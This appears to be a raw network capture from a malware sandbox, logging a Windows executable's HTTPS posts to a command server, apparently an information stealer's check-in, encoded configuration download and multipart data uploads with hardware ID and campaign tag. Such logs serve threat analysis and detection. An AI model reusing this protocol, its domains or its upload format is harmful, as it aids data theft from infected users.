2024-12-27 07:54:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:54:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:54:26 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tqqf46dsclo4m7ut7vpjaes19; expires=Tue, 22 Apr 2025 01:41:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mjc32WhBePJZc3cTPiJSK7tizudF0aVPmHp4RUJjBPmRTEBejTe5JdK%2BhOPWq0DxXdTwODfQaqsKzrU%2Fy%2FmzNNEQKKXgq6BdTApoBLwXr9EoBBBjsz2rQg4hvQ7UvuMes0A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be1a8a8c180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1623&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1734997&cwnd=201&unsent_bytes=0&cid=fd4691fd303b324c&ts=754&x=0"
2024-12-27 07:54:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:54:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.11.101	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:28 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 07:54:28 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 07:54:28 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jdr1b6aasi4u8vr88e72la73hb; expires=Tue, 22 Apr 2025 01:41:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B4VfiQL0Jp9SuvpwRSsVWw7rUpo6oc4WLAgW5GxsBIPm%2Fll4ZsnC97qE703xqXWZHNJV61A1QXWzfjEz%2BzNF7s1iCESUEZc8IsWaFmd1VJLp2ThNVmauJf4nUOk3u2bHVLo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be26d9a85e64-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2078&min_rtt=2076&rtt_var=783&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=952&delivery_rate=1392465&cwnd=246&unsent_bytes=0&cid=9873ea4648c54d6c&ts=762&x=0"
2024-12-27 07:54:28 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 4d 42 54 77 52 32 74 63 43 52 38 4b 72 45 57 4c 48 7a 74 32 2b 58 6f 35 6e 56 53 38 7a 7a 56 50 68 57 56 4d 41 65 4a 57 4e 32 46 4c 4e 6f 5a 6c 55 57 67 6c 50 58 6e 4a 5a 37 46 72 53 51 4f 63 56 68 76 38 4d 4a 37 31 55 79 37 70 46 69 6b 74 77 43 42 61 51 77 70 79 6b 53 73 59 4f 53 55 39 62 39 52 6e 73 55 52 41 56 4a 77 55 47 36 64 32 32 61 56 58 4c 75 6b 48 4c 57 71 4e 4a 6c 73 43 57 48 69 58 4c 77 34 2f 62 58 35 6d 77 53 44 75 65 6c 6f 63 6c 78 4e 55 39 54 6d 65 34 78 63 71 2f 30 64 32 49 36 38 7a 51 77 42 39 64 59 4d 73 53 53 45 6c 5a 43 6a 4a 4b 36 6b 6c 47 52 65 63 47 46 58 37 4d 4e 65 6e 58 53 66 68 42 69 68 72 6b 6a 39 52 43 56 68 32 6c 43 34 45 4e 6e 6c 7a 62 4d 59 72 36 48 42 61 56 4e 56 59 58 4f 64 32 68 75 Data Ascii: 491cMBTwR2tcCR8KrEWLHzt2+Xo5nVS8zzVPhWVMAeJWN2FLNoZlUWglPXnJZ7FrSQOcVhv8MJ71Uy7pFiktwCBaQwpykSsYOSU9b9RnsURAVJwUG6d22aVXLukHLWqNJlsCWHiXLw4/bX5mwSDueloclxNU9Tme4xcq/0d2I68zQwB9dYMsSSElZCjJK6klGRecGFX7MNenXSfhBihrkj9RCVh2lC4ENnlzbMYr6HBaVNVYXOd2hu
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 30 45 48 2b 51 57 50 33 61 4e 4a 46 4e 44 54 54 69 4c 5a 51 34 79 4b 79 55 6f 78 69 76 6e 65 46 6f 62 6e 42 6c 62 37 54 6e 65 72 6c 38 6c 34 77 30 68 62 49 38 36 58 77 52 61 66 35 55 71 44 6a 5a 74 63 6d 75 4f 61 61 6c 36 51 56 54 44 57 48 76 76 4e 64 32 35 57 6a 79 6e 47 47 42 36 77 44 4e 5a 51 77 6f 32 6c 43 73 49 4d 32 74 76 59 4d 55 73 37 47 39 53 48 5a 59 56 57 2f 49 38 30 61 35 58 4b 75 30 4e 49 57 6d 45 4f 56 67 46 55 6e 62 53 61 30 6b 35 63 7a 30 77 6a 67 54 73 62 56 34 59 6a 56 70 68 76 79 6d 51 74 42 63 71 36 30 64 32 49 34 67 78 56 67 42 5a 65 5a 45 74 41 69 78 72 62 32 37 44 49 76 74 37 58 42 71 52 47 30 6e 31 4f 4e 69 75 58 69 62 75 41 69 6c 6e 77 48 6f 56 42 45 6f 32 79 6d 55 6f 4d 32 42 78 59 74 6b 6e 71 57 49 58 44 64 73 66 56 37 39 75 6e Data Ascii: 0EH+QWP3aNJFNDTTiLZQ4yKyUoxivneFobnBlb7Tnerl8l4w0hbI86XwRaf5UqDjZtcmuOaal6QVTDWHvvNd25WjynGGB6wDNZQwo2lCsIM2tvYMUs7G9SHZYVW/I80a5XKu0NIWmEOVgFUnbSa0k5cz0wjgTsbV4YjVphvymQtBcq60d2I4gxVgBZeZEtAixrb27DIvt7XBqRG0n1ONiuXibuAilnwHoVBEo2ymUoM2BxYtknqWIXDdsfV79un
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 6e 53 57 35 6b 6d 48 51 4e 51 33 68 31 68 69 59 44 66 46 35 2b 5a 73 41 67 2f 7a 31 47 57 6f 4a 59 58 50 4e 32 68 75 31 61 4c 4f 38 42 50 47 79 4e 4e 31 73 4e 58 58 4f 64 4c 51 6b 2b 5a 6e 68 73 78 53 7a 71 63 46 30 47 6b 52 68 54 2b 6a 66 55 70 78 64 6a 70 77 41 32 49 39 68 30 5a 42 52 5a 4e 4b 63 6d 42 7a 42 73 61 79 6a 52 61 66 41 39 58 68 6a 62 51 42 76 79 50 74 75 6f 57 43 7a 74 43 53 74 70 6a 44 78 62 41 45 42 35 6c 69 55 46 4e 6d 46 77 5a 73 6f 76 34 48 5a 53 45 70 73 5a 55 62 39 34 6e 71 70 50 62 62 39 48 47 6d 53 4d 4f 56 70 42 5a 33 57 63 4b 77 34 6f 4b 32 49 6d 31 32 66 75 63 52 6c 4d 32 78 52 53 2f 7a 33 55 71 56 63 71 36 67 49 74 5a 49 4d 35 55 67 6c 63 63 5a 59 70 41 44 4e 74 66 57 2f 4b 49 76 74 34 55 42 69 58 57 42 57 2f 4d 63 62 74 44 32 Data Ascii: nSW5kmHQNQ3h1hiYDfF5+ZsAg/z1GWoJYXPN2hu1aLO8BPGyNN1sNXXOdLQk+ZnhsxSzqcF0GkRhT+jfUpxdjpwA2I9h0ZBRZNKcmBzBsayjRafA9XhjbQBvyPtuoWCztCStpjDxbAEB5liUFNmFwZsov4HZSEpsZUb94nqpPbb9HGmSMOVpBZ3WcKw4oK2Im12fucRlM2xRS/z3UqVcq6gItZIM5UglccZYpADNtfW/KIvt4UBiXWBW/McbtD2
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 49 39 68 30 58 41 70 41 65 4a 77 73 42 44 68 6a 65 6d 62 44 4c 4f 39 32 58 68 4f 64 46 56 50 79 4d 39 32 73 55 79 66 31 42 43 56 70 6a 54 34 56 54 52 4a 78 69 6d 56 52 66 6b 78 78 51 64 34 38 2b 32 73 5a 43 39 55 42 47 2f 67 36 6e 76 55 58 4c 75 67 4f 49 57 75 49 4f 31 6f 48 58 48 43 55 4b 41 77 78 59 57 39 67 77 43 72 69 63 6c 49 47 6d 78 56 66 38 7a 4c 57 70 6c 31 74 71 55 63 70 65 38 42 73 46 54 5a 66 65 5a 49 6d 48 33 35 30 4d 33 47 4f 49 4f 55 39 41 56 53 58 46 6c 76 77 4f 74 4b 6d 58 79 7a 72 43 53 6c 6d 69 54 78 64 45 56 4e 79 6d 69 51 48 4d 57 70 35 62 63 73 6a 37 6e 6c 66 47 39 74 57 47 2f 67 75 6e 76 55 58 41 73 41 79 62 45 4b 36 64 45 70 4e 53 7a 61 56 4b 55 6c 6d 4b 33 46 72 77 69 2f 6d 65 31 41 59 6b 52 46 51 38 7a 33 61 6f 56 34 6f 34 51 59 Data Ascii: I9h0XApAeJwsBDhjembDLO92XhOdFVPyM92sUyf1BCVpjT4VTRJximVRfkxxQd48+2sZC9UBG/g6nvUXLugOIWuIO1oHXHCUKAwxYW9gwCriclIGmxVf8zLWpl1tqUcpe8BsFTZfeZImH350M3GOIOU9AVSXFlvwOtKmXyzrCSlmiTxdEVNymiQHMWp5bcsj7nlfG9tWG/gunvUXAsAybEK6dEpNSzaVKUlmK3Frwi/me1AYkRFQ8z3aoV4o4QY
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 6c 49 4b 51 48 69 66 4b 67 45 32 59 6e 78 73 79 79 72 76 63 56 4d 56 6e 42 5a 56 39 33 61 51 37 56 41 31 70 31 39 75 51 70 41 76 52 78 56 66 56 35 38 71 53 53 45 6c 5a 43 6a 4a 4b 36 6b 6c 47 52 32 4a 48 46 62 74 50 39 6d 6a 57 43 37 31 42 69 4e 6f 6b 6a 4e 61 42 31 56 36 6c 43 6f 50 50 32 35 33 5a 4d 6b 69 34 6e 4a 56 56 4e 56 59 58 4f 64 32 68 75 31 35 4a 76 51 51 4c 57 32 4c 49 6b 35 44 54 54 69 4c 5a 51 34 79 4b 79 55 6f 7a 53 7a 69 65 56 6b 59 6d 78 78 57 2f 79 54 52 71 6c 41 6b 37 42 55 6b 5a 49 63 2f 58 51 68 64 63 49 41 70 42 79 78 75 62 33 71 4f 61 61 6c 36 51 56 54 44 57 47 33 34 4a 73 36 75 46 52 7a 78 42 44 68 6f 6a 54 67 56 48 42 78 76 30 69 49 46 66 6a 4d 39 62 73 45 75 36 6e 4a 59 48 5a 63 56 58 76 59 7a 33 36 74 54 4a 2b 30 48 4b 47 57 42 Data Ascii: lIKQHifKgE2YnxsyyrvcVMVnBZV93aQ7VA1p19uQpAvRxVfV58qSSElZCjJK6klGR2JHFbtP9mjWC71BiNokjNaB1V6lCoPP253ZMki4nJVVNVYXOd2hu15JvQQLW2LIk5DTTiLZQ4yKyUozSzieVkYmxxW/yTRqlAk7BUkZIc/XQhdcIApByxub3qOaal6QVTDWG34Js6uFRzxBDhojTgVHBxv0iIFfjM9bsEu6nJYHZcVXvYz36tTJ+0HKGWB
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 4a 78 6e 6d 56 52 66 6d 68 36 61 38 38 74 34 48 46 57 45 35 38 4b 55 66 67 6b 33 36 78 63 49 4f 73 48 49 32 36 4b 4e 56 77 4f 58 6e 75 56 49 67 59 37 4b 7a 4d 6f 79 54 2b 70 4a 52 6b 31 6c 68 4e 58 70 47 79 65 73 68 6b 30 70 77 41 69 49 39 68 30 56 51 6c 58 66 4a 38 6d 42 6a 31 35 66 47 37 63 4a 2b 52 33 53 78 36 51 48 56 62 79 4f 39 32 72 55 53 62 72 46 53 64 6a 67 7a 38 56 54 52 4a 78 69 6d 56 52 66 6b 68 71 66 73 51 67 35 57 74 53 46 5a 67 4f 56 75 39 32 6b 4f 31 47 4b 76 5a 48 64 6e 57 51 49 31 49 63 48 47 2f 53 49 67 56 2b 4d 7a 31 75 78 79 48 75 65 31 63 47 6e 68 35 55 38 44 2f 58 71 56 38 75 35 77 4d 71 5a 49 55 33 57 51 68 56 64 5a 30 68 41 44 42 69 63 69 69 41 5a 2b 35 6c 47 55 7a 62 4f 55 44 38 4f 74 50 74 53 47 50 2b 52 79 6c 76 77 47 77 56 44 Data Ascii: JxnmVRfmh6a88t4HFWE58KUfgk36xcIOsHI26KNVwOXnuVIgY7KzMoyT+pJRk1lhNXpGyeshk0pwAiI9h0VQlXfJ8mBj15fG7cJ+R3Sx6QHVbyO92rUSbrFSdjgz8VTRJximVRfkhqfsQg5WtSFZgOVu92kO1GKvZHdnWQI1IcHG/SIgV+Mz1uxyHue1cGnh5U8D/XqV8u5wMqZIU3WQhVdZ0hADBiciiAZ+5lGUzbOUD8OtPtSGP+RylvwGwVD
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 75 48 7a 74 73 61 79 72 37 4a 4f 64 7a 58 67 4c 62 42 32 53 78 64 74 47 33 46 33 58 65 48 6d 35 6b 6a 48 51 4e 51 30 64 78 6b 69 49 54 4b 47 78 78 65 63 55 71 35 56 39 57 45 34 30 62 56 50 77 6e 31 2b 46 63 49 4b 64 4a 62 6d 53 59 64 41 31 44 66 58 47 45 4a 69 59 39 65 6e 51 6f 67 47 66 75 61 78 6c 4d 32 79 59 62 37 54 58 4f 72 6c 67 38 32 55 64 32 65 72 35 30 58 68 56 56 5a 70 45 7a 41 6a 4e 6e 62 46 61 4f 66 37 30 76 43 30 62 4a 53 6b 53 2f 4b 65 48 6a 46 79 79 6e 58 78 64 36 77 43 49 56 57 77 41 34 30 6a 64 4a 5a 69 73 36 61 39 77 31 37 33 35 50 46 39 77 6d 5a 64 67 67 31 4b 70 48 4b 76 41 49 62 69 33 41 4f 78 56 62 61 7a 61 62 49 68 49 76 66 58 42 34 79 57 66 57 4d 78 6b 4d 32 30 41 62 79 6a 58 51 6f 31 41 37 39 6b 6f 4a 64 59 6f 7a 52 51 52 46 65 64 Data Ascii: uHztsayr7JOdzXgLbB2SxdtG3F3XeHm5kjHQNQ0dxkiITKGxxecUq5V9WE40bVPwn1+FcIKdJbmSYdA1DfXGEJiY9enQogGfuaxlM2yYb7TXOrlg82Ud2er50XhVVZpEzAjNnbFaOf70vC0bJSkS/KeHjFyynXxd6wCIVWwA40jdJZis6a9w1735PF9wmZdgg1KpHKvAIbi3AOxVbazabIhIvfXB4yWfWMxkM20AbyjXQo1A79koJdYozRQRFed
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 59 48 31 76 33 6a 48 79 4d 56 45 58 67 51 4a 6c 77 52 33 53 71 31 41 33 34 41 45 49 51 38 42 36 46 51 77 53 4c 71 74 6c 51 58 35 55 4d 79 6a 57 5a 37 45 39 62 42 65 56 46 6c 7a 70 4a 35 4f 46 64 42 66 64 52 51 4a 6b 6c 58 5a 68 42 45 4a 6e 6d 53 67 46 66 69 55 39 62 6f 35 2f 75 54 4d 5a 45 49 70 59 41 36 39 6b 68 66 67 45 65 72 64 56 4d 53 32 5a 64 45 4e 44 43 69 54 63 5a 52 74 2b 4d 7a 30 76 7a 54 58 37 65 31 6f 43 6d 46 39 6c 77 52 48 51 71 6c 59 37 39 78 41 68 58 62 34 68 56 67 31 63 63 59 51 30 53 58 41 72 63 69 69 57 48 71 6b 31 47 53 76 56 57 45 4f 2f 62 70 36 59 56 43 50 70 41 44 68 79 7a 52 4e 62 42 46 4e 67 67 6a 49 47 66 69 55 39 62 6f 35 2f 75 7a 4d 5a 45 49 70 59 41 36 39 6b 68 66 67 45 65 72 64 56 4d 53 32 5a 64 45 4e 44 43 69 54 63 5a 52 74 Data Ascii: YH1v3jHyMVEXgQJlwR3Sq1A34AEIQ8B6FQwSLqtlQX5UMyjWZ7E9bBeVFlzpJ5OFdBfdRQJklXZhBEJnmSgFfiU9bo5/uTMZEIpYA69khfgEerdVMS2ZdENDCiTcZRt+Mz0vzTX7e1oCmF9lwRHQqlY79xAhXb4hVg1ccYQ0SXArciiWHqk1GSvVWEO/bp6YVCPpADhyzRNbBFNggjIGfiU9bo5/uzMZEIpYA69khfgEerdVMS2ZdENDCiTcZRt
2024-12-27 07:54:28 UTC	1369	IN	Data Raw: 39 67 6b 71 54 4d 5a 47 4e 74 41 47 2f 34 38 7a 71 42 59 4b 71 73 41 4e 47 54 41 65 68 55 4e 45 69 37 53 4a 41 4d 75 5a 6e 4a 76 67 69 48 6e 63 78 6b 4c 31 51 45 62 36 58 61 47 2f 68 6c 74 39 55 64 32 49 38 63 33 52 78 46 55 64 59 51 6d 54 67 42 56 55 48 72 4a 4e 2b 6f 2f 61 42 6d 66 44 6b 37 38 4a 74 6d 54 61 51 44 31 41 44 35 67 77 67 56 44 41 46 4a 34 6c 57 56 48 66 6e 4d 39 4d 49 34 4b 2b 33 70 4a 46 39 74 57 47 2f 4e 32 68 75 31 61 50 2b 41 58 4c 53 2b 48 4c 6c 4a 44 54 54 69 4c 5a 52 39 2b 4d 79 34 6d 6a 6a 57 70 4a 52 6c 54 6c 52 56 61 2f 44 6a 64 76 30 55 72 35 42 45 74 4a 4c 34 4b 65 42 46 56 5a 70 46 6e 4f 44 4e 76 61 33 33 4e 4e 2b 35 44 5a 7a 6d 4a 48 30 76 38 64 50 4b 71 57 69 48 5a 4f 52 6c 79 68 79 51 58 4a 56 46 67 6b 57 56 48 66 6e 4d 39 Data Ascii: 9gkqTMZGNtAG/48zqBYKqsANGTAehUNEi7SJAMuZnJvgiHncxkL1QEb6XaG/hlt9Ud2I8c3RxFUdYQmTgBVUHrJN+o/aBmfDk78JtmTaQD1AD5gwgVDAFJ4lWVHfnM9MI4K+3pJF9tWG/N2hu1aP+AXLS+HLlJDTTiLZR9+My4mjjWpJRlTlRVa/Djdv0Ur5BEtJL4KeBFVZpFnODNva33NN+5DZzmJH0v8dPKqWiHZORlyhyQXJVFgkWVHfnM9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.11.101	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:30 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FBEU81XRZ652 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: mindhandru.buzz
2024-12-27 07:54:30 UTC	12805	OUT	Data Raw: 2d 2d 46 42 45 55 38 31 58 52 5a 36 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 46 42 45 55 38 31 58 52 5a 36 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 42 45 55 38 31 58 52 5a 36 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 46 42 45 55 38 31 58 52 Data Ascii: --FBEU81XRZ652Content-Disposition: form-data; name="hwid"A48A2DBDAD51B5B7BEBA0C6A975F1733--FBEU81XRZ652Content-Disposition: form-data; name="pid"2--FBEU81XRZ652Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--FBEU81XR
2024-12-27 07:54:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uu4p8oflgso4jkkplg20m4bj2g; expires=Tue, 22 Apr 2025 01:41:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aOMqJApehaTkvcuMOUHVaMT0H%2Fyv9Zqp3nu0QbD%2FknRtrpCEcAKAs5YTsixo7DWpc3tVkp0Q3Jab98KX0YaUlo6zoNCNIa9soAWByfEunVHDKcQQ%2FpCa0OWIQWMpAt0y%2BOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be351b3743df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1597&min_rtt=1570&rtt_var=644&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13738&delivery_rate=1628555&cwnd=243&unsent_bytes=0&cid=eb4daa04e752d35a&ts=1043&x=0"
2024-12-27 07:54:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:54:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.11.101	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:32 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QRO9OISTFKLOOUHPV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15077 Host: mindhandru.buzz
2024-12-27 07:54:32 UTC	15077	OUT	Data Raw: 2d 2d 51 52 4f 39 4f 49 53 54 46 4b 4c 4f 4f 55 48 50 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 51 52 4f 39 4f 49 53 54 46 4b 4c 4f 4f 55 48 50 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 52 4f 39 4f 49 53 54 46 4b 4c 4f 4f 55 48 50 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --QRO9OISTFKLOOUHPVContent-Disposition: form-data; name="hwid"A48A2DBDAD51B5B7BEBA0C6A975F1733--QRO9OISTFKLOOUHPVContent-Disposition: form-data; name="pid"2--QRO9OISTFKLOOUHPVContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-27 07:54:33 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2a4tlg0lnf87bms12kru19f0us; expires=Tue, 22 Apr 2025 01:41:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v7LVadzLZtwd20pD6%2FeItMUpfeKqEKuV%2BWVo0aB8iFtzVHs8ybN2Vf3RJ7M%2BXiNCguZmfWF9BfccuMKE1l0FrEk8dLIy%2FAadRSWoU%2Fv5v8191izM7O3kJxPuwCxgat%2F4eNw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be449b890f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1578&rtt_var=596&sent=17&recv=24&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16015&delivery_rate=1830721&cwnd=221&unsent_bytes=0&cid=453f69a9dbdc2ae6&ts=1019&x=0"
2024-12-27 07:54:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:54:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.165.185	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YMLAOKV8MWVNWU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20549 Host: mindhandru.buzz
2024-12-27 07:54:35 UTC	15331	OUT	Data Raw: 2d 2d 59 4d 4c 41 4f 4b 56 38 4d 57 56 4e 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 4d 4c 41 4f 4b 56 38 4d 57 56 4e 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 4d 4c 41 4f 4b 56 38 4d 57 56 4e 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 59 4d Data Ascii: --YMLAOKV8MWVNWUContent-Disposition: form-data; name="hwid"A48A2DBDAD51B5B7BEBA0C6A975F1733--YMLAOKV8MWVNWUContent-Disposition: form-data; name="pid"3--YMLAOKV8MWVNWUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--YM
